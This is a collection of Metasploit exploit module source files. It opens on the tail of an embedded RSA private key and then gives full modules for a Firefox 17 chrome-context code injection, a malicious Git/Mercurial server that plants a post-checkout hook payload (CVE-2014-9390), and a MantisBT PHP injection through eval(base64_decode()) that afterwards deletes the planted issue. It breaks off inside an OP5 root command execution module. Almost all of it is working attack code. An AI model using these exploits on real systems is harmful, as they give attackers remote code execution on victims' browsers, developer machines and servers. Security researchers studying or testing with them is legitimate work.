ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
-----END RSA PRIVATE KEY-----
EOF
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
  # include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  # autopwn_info({
  #   :ua_name    => HttpClients::FF,
  #   :ua_minver  => "17.0",
  #   :ua_maxver  => "17.0.1",
  #   :javascript => true,
  #   :rank       => NormalRanking
  # })

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox 17.0.1 Flash Privileged Code Injection',
      'Description'    => %q{
        This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
        the user has installed Flash. No memory corruption is used.
        First, a Flash object is cloned into the anonymous content of the SVG
        "use" element in the <body> (CVE-2013-0758). From there, the Flash object
        can navigate a child frame to a URL in the chrome:// scheme.
        Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
        around the child frame's window reference and inject code into the chrome://
        context. Once we have injection into the chrome execution context, we can write
        the payload to disk, chmod it (if posix), and then execute.
        Note: Flash is used here to trigger the exploit but any Firefox plugin
        with script access should be able to trigger it.
      },
      'License'        => MSF_LICENSE,
      'Targets' => [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0,
      'Author'         =>
        [
          'Marius Mlynski', # discovery & bug report
          'joev',           # metasploit module
          'sinn3r'          # metasploit fu
        ],
      'References'     =>
        [
          ['CVE', '2013-0758'],  # navigate a frame to a chrome:// URL
          ['CVE', '2013-0757'],  # bypass Chrome Object Wrapper to talk to chrome://
          ['OSVDB', '89019'],  # maps to CVE 2013-0757
          ['OSVDB', '89020'],  # maps to CVE 2013-0758
          ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
        ],
      'DisclosureDate' => 'Jan 08 2013',
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => /17\..*/,
        :flash   => /[\d.]+/
      }
    ))

    register_options(
      [
        OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
        OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
      ], Auxiliary::Timed)

  end

  def on_request_exploit(cli, request, info)
    if request.uri =~ /\.swf$/
      # send Flash .swf for navigating the frame to chrome://
      print_status("Sending .swf trigger.")
      send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
    else
      # send initial HTML page
      print_status("Target selected: #{target.name}")
      print_status("Sending #{self.name}")
      send_response_html(cli, generate_html(cli, target))
    end
  end

  # @return [String] the contents of the .swf file used to trigger the exploit
  def flash_trigger
    swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
    @flash_trigger ||= File.read(swf_path)
  end

  # @return [String] containing javascript that will alert a debug string
  #   if the DEBUG is set to true
  def js_debug(str, quote="'")
    if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
  end

  # @return [String] HTML that is sent in the first response to the client
  def generate_html(cli, target)
    vars = {
      :symbol_id        => 'a',
      :random_domain    => 'safe',
      :payload          => run_payload, # defined in FirefoxPrivilegeEscalation mixin
      :payload_var      => 'c',
      :payload_key      => 'k',
      :payload_obj_var  => 'payload_obj',
      :interval_var     => 'itvl',
      :access_string    => 'access',
      :frame_ref        => 'frames[0]',
      :frame_name       => 'n',
      :loader_path      => "#{get_module_uri}.swf",
      :content          => self.datastore['CONTENT'] || ''
    }
    script = js_obfuscate %Q|
      var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
      var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
      function $() {
        document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
      }
      function _() {
        return '#{vars[:frame_name]}';
      }
      var #{vars[:interval_var]} = setInterval(function(){
        try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
        catch(e){
          clearInterval(#{vars[:interval_var]});
          var p = Object.getPrototypeOf(#{vars[:frame_ref]});
          var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
          Object.prototype.__lookupSetter__("__proto__").call(p, o);
          p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
        }
      }, 100);
      document.querySelector('object').data = "#{vars[:loader_path]}";
      document.querySelector('use').setAttributeNS(
        "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
      );
    |

    %Q|
      <!doctype html>
      <html>
      <head>
        <base href="chrome://browser/content/">
      </head>
      <body>
      <svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
        <symbol id="#{vars[:symbol_id]}">
          <foreignObject>
            <object></object>
          </foreignObject>
        </symbol>
        <use />
      </svg>
      <script>
      #{script}
      </script>
      <iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
        name="#{vars[:frame_name]}"></iframe>
      #{vars[:content]}
      </body>
      </html>
      |
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(
      info,
      'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
      'Description' => %q(
        This module exploits CVE-2014-9390, which affects Git (versions less
        than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
        less than 3.2.3) and describes three vulnerabilities.
        On operating systems which have case-insensitive file systems, like
        Windows and OS X, Git clients can be convinced to retrieve and
        overwrite sensitive configuration files in the .git
        directory which can allow arbitrary code execution if a vulnerable
        client can be convinced to perform certain actions (for example,
        a checkout) against a malicious Git repository.
        A second vulnerability with similar characteristics also exists in both
        Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
        certain Unicode codepoints are ignorable.
        The third vulnerability with similar characteristics only affects
        Mercurial clients on Windows, where Windows "short names"
        (MS-DOS-compatible 8.3 format) are supported.
        Today this module only truly supports the first vulnerability (Git
        clients on case-insensitive file systems) but has the functionality to
        support the remaining two with a little work.
      ),
      'License' => MSF_LICENSE,
      'Author' => [
        'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
      ],
      'References'     =>
        [
          ['CVE', '2014-9390'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
          ['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
          ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
          ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
          ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
          ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
          ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
          ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']

        ],
      'DisclosureDate' => 'Dec 18 2014',
      'Targets' =>
        [
          [
            'Automatic',
            {
              'Platform' => [ 'unix' ],
              'Arch'     => ARCH_CMD,
              'Payload'        =>
                {
                  'Compat'      =>
                    {
                      'PayloadType' => 'cmd cmd_bash',
                      'RequiredCmd' => 'generic bash-tcp perl'
                    }
                }
            }
          ],
          [
            'Windows Powershell',
            {
              'Platform' => [ 'windows' ],
              'Arch'     => [ARCH_X86, ARCH_X64]
            }
          ]
        ],
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('GIT', [true, 'Exploit Git clients', true])
      ]
    )

    register_advanced_options(
      [
        OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
        OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
        OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
        OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
        OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
      ]
    )
  end

  def setup
    # the exploit requires that we act enough like a real Mercurial HTTP instance,
    # so we keep a mapping of all of the files and the corresponding data we'll
    # send back along with a trigger file that signifies that the git/mercurial
    # client has fetched the malicious content.
    @repo_data = {
      git: { files: {}, trigger: nil },
      mercurial: { files: {}, trigger: nil }
    }

    unless datastore['GIT'] || datastore['MERCURIAL']
      fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
    end

    setup_git
    setup_mercurial

    super
  end

  def setup_git
    return unless datastore['GIT']
    # URI must start with a /
    unless git_uri && git_uri =~ /^\//
      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
    end
    # sanity check the malicious hook:
    if datastore['GIT_HOOK'].blank?
      fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank')
    end

    # In .git/hooks/ directory, specially named files are shell scripts that
    # are executed when particular events occur.  For example, if
    # .git/hooks/post-checkout was an executable shell script, a git client
    # would execute that file every time anything is checked out.  There are
    # various other files that can be used to achieve similar goals but related
    # to committing, updating, etc.
    #
    # This vulnerability allows a specially crafted file to bypass Git's
    # blacklist and overwrite the sensitive .git/hooks/ files which can allow
    # arbitrary code execution if a vulnerable Git client can be convinced to
    # interact with a malicious Git repository.
    #
    # This builds a fake git repository using the knowledge from:
    #
    #   http://schacon.github.io/gitbook/7_how_git_stores_objects.html
    #   http://schacon.github.io/gitbook/7_browsing_git_objects.html
    case target.name
    when 'Automatic'
      full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
    when 'Windows Powershell'
      psh = cmd_psh_payload(payload.encoded,
                            payload_instance.arch.first,
                            remove_comspec: true,
                            encode_final_payload: true)
      full_cmd = "#!/bin/sh\n#{psh}"
    end

    sha1, content = build_object('blob', full_cmd)
    trigger = "/objects/#{get_path(sha1)}"
    @repo_data[:git][:trigger] = trigger
    @repo_data[:git][:files][trigger] = content
    # build tree that points to the blob
    sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build a tree that points to the hooks directory in which the hook lives, called hooks
    sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build a tree that points to the partially uppercased .git directory in
    # which hooks live
    variants = []
    %w(g G). each do |g|
      %w(i I).each do |i|
        %w(t T).each do |t|
          git = g + i + t
          variants << git unless git.chars.none? { |c| c == c.upcase }
        end
      end
    end
    git_dir = '.' + variants.sample
    sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build the supposed commit that dropped this file, which has a random user/company
    email = Rex::Text.rand_mail_address
    first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
    full_name = "#{first.capitalize} #{last.capitalize}"
    tstamp = Time.now.to_i
    author_time = rand(tstamp)
    commit_time = rand(author_time)
    tz_off = rand(10)
    commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
             "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
             "\n" \
             "Initial commit to open git repository for #{company}!\n"
    if datastore['VERBOSE']
      vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
      commit.each_line { |l| vprint_status(l.strip) }
    end
    sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build HEAD
    @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
    # lastly, build refs
    @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
  end

  def setup_mercurial
    return unless datastore['MERCURIAL']
    # URI must start with a /
    unless mercurial_uri && mercurial_uri =~ /^\//
      fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /')
    end
    # sanity check the malicious hook
    if datastore['MERCURIAL_HOOK'].blank?
      fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
    end
    # we fake the Mercurial HTTP protocol such that we are compliant as possible but
    # also as simple as possible so that we don't have to support all of the protocol
    # complexities.  Taken from:
    #   http://mercurial.selenic.com/wiki/HttpCommandProtocol
    #   http://selenic.com/hg/file/tip/mercurial/wireproto.py
    @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
    fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
    @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
    # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
    @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")

    # TODO: finish building the fake repository
  end

  # Build's a Git object
  def build_object(type, content)
    # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
    header = "#{type} #{content.size}\0"
    store = header + content
    [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
  end

  # Returns the Git object path name that a file with the provided SHA1 will reside in
  def get_path(sha1)
    sha1[0...2] + '/' + sha1[2..40]
  end

  def exploit
    super
  end

  def primer
    # add the git and mercurial URIs as necessary
    if datastore['GIT']
      hardcoded_uripath(git_uri)
      print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
    end
    if datastore['MERCURIAL']
      hardcoded_uripath(mercurial_uri)
      print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
    end
  end

  # handles routing any request to the mock git, mercurial or simple HTML as necessary
  def on_request_uri(cli, req)
    # if the URI is one of our repositories and the user-agent is that of git/mercurial
    # send back the appropriate data, otherwise just show the HTML version
    if (user_agent = req.headers['User-Agent'])
      if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
        do_git(cli, req)
        return
      elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
        do_mercurial(cli, req)
        return
      end
    end

    do_html(cli, req)
  end

  # simulates a Git HTTP server
  def do_git(cli, req)
    # determine if the requested file is something we know how to serve from our
    # fake repository and send it if so
    req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
    if @repo_data[:git][:files].key?(req_file)
      vprint_status("Sending Git #{req_file}")
      send_response(cli, @repo_data[:git][:files][req_file])
      if req_file == @repo_data[:git][:trigger]
        vprint_status("Trigger!")
        # Do we need this?  If so, how can I update the payload which is in a file which
        # has already been built?
        # regenerate_payload
        handler(cli)
      end
    else
      vprint_status("Git #{req_file} doesn't exist")
      send_not_found(cli)
    end
  end

  # simulates an HTTP server with simple HTML content that lists the fake
  # repositories available for cloning
  def do_html(cli, _req)
    resp = create_response
    resp.body = <<HTML
     <html>
      <head><title>Public Repositories</title></head>
      <body>
        <p>Here are our public repositories:</p>
        <ul>
HTML

    if datastore['GIT']
      this_git_uri = URI.parse(get_uri).merge(git_uri)
      resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
    else
      resp.body << "<li><a>Git</a> (currently offline)</li>"
    end

    if datastore['MERCURIAL']
      this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
      resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
    else
      resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
    end
    resp.body << <<HTML
        </ul>
      </body>
    </html>
HTML

    cli.send_response(resp)
  end

  # simulates a Mercurial HTTP server
  def do_mercurial(cli, req)
    # determine if the requested file is something we know how to serve from our
    # fake repository and send it if so
    uri = URI.parse(req.uri)
    req_path = uri.path
    req_path += "?#{uri.query}" if uri.query
    req_path.gsub!(/^#{mercurial_uri}/, '')
    if @repo_data[:mercurial][:files].key?(req_path)
      vprint_status("Sending Mercurial #{req_path}")
      send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
      if req_path == @repo_data[:mercurial][:trigger]
        vprint_status("Trigger!")
        # Do we need this?  If so, how can I update the payload which is in a file which
        # has already been built?
        # regenerate_payload
        handler(cli)
      end
    else
      vprint_status("Mercurial #{req_path} doesn't exist")
      send_not_found(cli)
    end
  end

  # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
  def git_uri
    return @git_uri if @git_uri
    if datastore['GIT_URI'].blank?
      @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
    else
      @git_uri = datastore['GIT_URI']
    end
  end

  # Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
  def mercurial_uri
    return @mercurial_uri if @mercurial_uri
    if datastore['MERCURIAL_URI'].blank?
      @mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
    else
      @mercurial_uri = datastore['MERCURIAL_URI']
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
      'Description'    => %q{
        This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
        The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
        This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
        This version also suffers from another issue. The import page is not checking the correct user level
        of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Egidio Romano', # discovery http://karmainsecurity.com
          'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
          'Christian Mehlmauer'
        ],
      'References'     =>
        [
          ['CVE', '2014-7146'],
          ['CVE', '2014-8598'],
          ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
          ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Generic (PHP Payload)', {}]],
      'DisclosureDate' => 'Nov 8 2014',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
        OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
        OptString.new('TARGETURI', [ true, 'Base directory path', '/'])
      ], self.class)
  end

  def get_mantis_version
    xml = Document.new
    xml.add_element(
    "soapenv:Envelope",
    {
      'xmlns:xsi'     => "http://www.w3.org/2001/XMLSchema-instance",
      'xmlns:xsd'     => "http://www.w3.org/2001/XMLSchema",
      'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
      'xmlns:man'     => "http://futureware.biz/mantisconnect"
    })
    xml.root.add_element("soapenv:Header")
    xml.root.add_element("soapenv:Body")
    body = xml.root.elements[2]
    body.add_element("man:mc_version",
      { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
    )

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
      'ctype'    => 'text/xml; charset=UTF-8',
      'headers'  => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
      'data'     => xml.to_s
    })
    if res && res.code == 200
      match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/)
      if match && match.length == 2
        version = match[1]
        print_status("Detected Mantis version #{version}")
        return version
      end
    end

    print_status("Can not detect Mantis version")
    return nil
  end

  def check
    version = get_mantis_version

    return Exploit::CheckCode::Unknown if version.nil?

    gem_version = Gem::Version.new(version)
    gem_version_introduced = Gem::Version.new('1.2.0a3')
    gem_version_fixed = Gem::Version.new('1.2.18')

    if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
      return Msf::Exploit::CheckCode::Appears
    else
      return Msf::Exploit::CheckCode::Safe
    end
  end

  def do_login()
    # check for anonymous login
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'login_anon.php')
    })
    # if the redirect contains a username (non empty), anonymous access is enabled
    if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
      print_status('Anonymous access enabled, no need to log in')
      session_cookie = res.get_cookies
    else
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(target_uri.path, 'login_page.php'),
        'vars_get' => {
          'return'  => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
        }
      })
      session_cookie = res.get_cookies
      print_status('Logging in...')
      res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path, 'login.php'),
        'cookie'    => session_cookie,
        'vars_post' => {
          'return'  => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
          'username' => datastore['username'],
          'password' => datastore['password'],
          'secure_session' => 'on'
        }
      })
      fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302

      fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')

      session_cookie = "#{session_cookie} #{res.get_cookies}"
    end

    session_cookie
  end

  def upload_xml(payload_b64, rand_text, cookies, is_check)

    if is_check
      timeout = 20
    else
      timeout = 3
    end

    rand_num = Rex::Text.rand_text_numeric(1, 9)

    print_status('Checking XmlImportExport plugin...')
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'plugin.php'),
      'cookie'   => cookies,
      'vars_get' => {
        'page' => 'XmlImportExport/import'
      }
    })

    unless res && res.code == 200 && res.body
      print_error('Error trying to access XmlImportExport/import page...')
      return false
    end

    if res.body.include?('Plugin is not registered with MantisBT')
      print_error('XMLImportExport plugin is not installed')
      return false
    end

    # Retrieving CSRF token
    if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to read CSRF token')
      return false
    end

    # Retrieving default project id
    if res.body =~ /name="project_id" value="([0-9]+)"/
      project_id = Regexp.last_match[1]
    else
      print_error('Error trying to read project id')
      return false
    end

    # Retrieving default category id
    if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/
      category_id = Regexp.last_match[1]
      category_name = Regexp.last_match[2]
    else
      print_error('Error trying to read default category')
      return false
    end

    # Retrieving default max file size
    if res.body =~ /name="max_file_size" value="([0-9]+)"/
      max_file_size = Regexp.last_match[1]
    else
      print_error('Error trying to read default max file size')
      return false
    end

    # Retrieving default step
    if res.body =~ /name="step" value="([0-9]+)"/
      step = Regexp.last_match[1]
    else
      print_error('Error trying to read default step value')
      return false
    end

    xml_file =   %Q|
    <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
        <issue>
            <id>#{ rand_num }</id>
            <project id="#{ project_id }">#{ rand_text }</project>
            <reporter id="#{ rand_num }">#{ rand_text }</reporter>
            <priority id="30">normal</priority>
            <severity id="50">minor</severity>
            <reproducibility id="70">have not tried</reproducibility>
            <status id="#{ rand_num }">new</status>
            <resolution id="#{ rand_num }">open</resolution>
            <projection id="#{ rand_num }">none</projection>
            <category id="#{ category_id }">#{ category_name }</category>
            <date_submitted>1415492267</date_submitted>
            <last_updated>1415507582</last_updated>
            <eta id="#{ rand_num }">none</eta>
            <view_state id="#{ rand_num }">public</view_state>
            <summary>#{ rand_text }</summary>
            <due_date>1</due_date>
            <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
        </issue>
    </mantis>
    |

    data = Rex::MIME::Message.new
    data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"")
    data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"")
    data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"")
    data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"")
    data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"")
    data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"")
    data.add_part("link", nil, nil, "form-data; name=\"fallback\"")
    data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"")
    data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"")
    data_post = data.to_s

    print_status('Sending payload...')
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
      'cookie' => cookies,
      'ctype'   => "multipart/form-data; boundary=#{ data.bound }",
      'data'    => data_post
    }, timeout)

    if res && res.body && res.body.include?('APPLICATION ERROR')
      print_error('Error on uploading XML')
      return false
    end

    # request above will time out and return nil on success
    return true
  end

  def exec_php(php_code, is_check = false)
    print_status('Checking access to MantisBT...')
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path)
    })

    fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)

    # remove comments, line breaks and spaces of php_code
    payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')

    # clean b64 payload
    while Rex::Text.encode_base64(payload_clean).include?('=')
      payload_clean = "#{ payload_clean } "
    end
    payload_b64 = Rex::Text.encode_base64(payload_clean)

    rand_text = Rex::Text.rand_text_alpha(5, 8)

    cookies = do_login()

    res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)

    return unless res_payload

    # When a meterpreter session is active, communication with the application is lost.
    # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
    cookies = do_login()

    print_status("Deleting issue (#{ rand_text })...")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'my_view_page.php'),
      'cookie' => cookies
    })

    unless res && res.code == 200
      print_error('Error trying to access My View page')
      return false
    end

    if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/
      issue_id = Regexp.last_match[1]
     else
      print_error('Error trying to retrieve issue id')
      return false
    end

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'bug_actiongroup_page.php'),
      'cookie'   => cookies,
      'vars_get' => {
        'bug_arr[]' => issue_id,
        'action' => 'DELETE',
      },
    })

    if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/
      csrf_token = Regexp.last_match[1]
    else
      print_error('Error trying to retrieve CSRF token')
      return false
    end

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, 'bug_actiongroup.php'),
      'cookie'   => cookies,
      'vars_post' => {
        'bug_actiongroup_DELETE_token' => csrf_token,
        'bug_arr[]' => issue_id,
        'action' => 'DELETE',
      },
    })

    if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/
      print_status("Issue number (#{ issue_id }) removed")
    else
      print_error("Removing issue number (#{ issue_id }) has failed")
      return false
    end

    # if check return the response
    if is_check
      return res_payload
    else
      return true
    end
  end

  def exploit
    get_mantis_version
    unless exec_php(payload.encoded)
      fail_with(Failure::Unknown, 'Exploit failed, aborting.')
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'OP5 license.php Remote Command Execution',
      'Description' => %q{
        This module exploits an arbitrary root command execution vulnerability in the
        OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,
        5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
      },
      'Author'     => [ 'Peter Osterberg <j[at]vel.nu>' ],
      'License'    => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2012-0261'],
          ['OSVDB', '78064'],
          ['URL', 'http://secunia.com/advisories/47417/'],
        ],
      'Privileged' => true,
      'Payload'    =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'BadChars'    => '`\\|',
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl ruby python',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
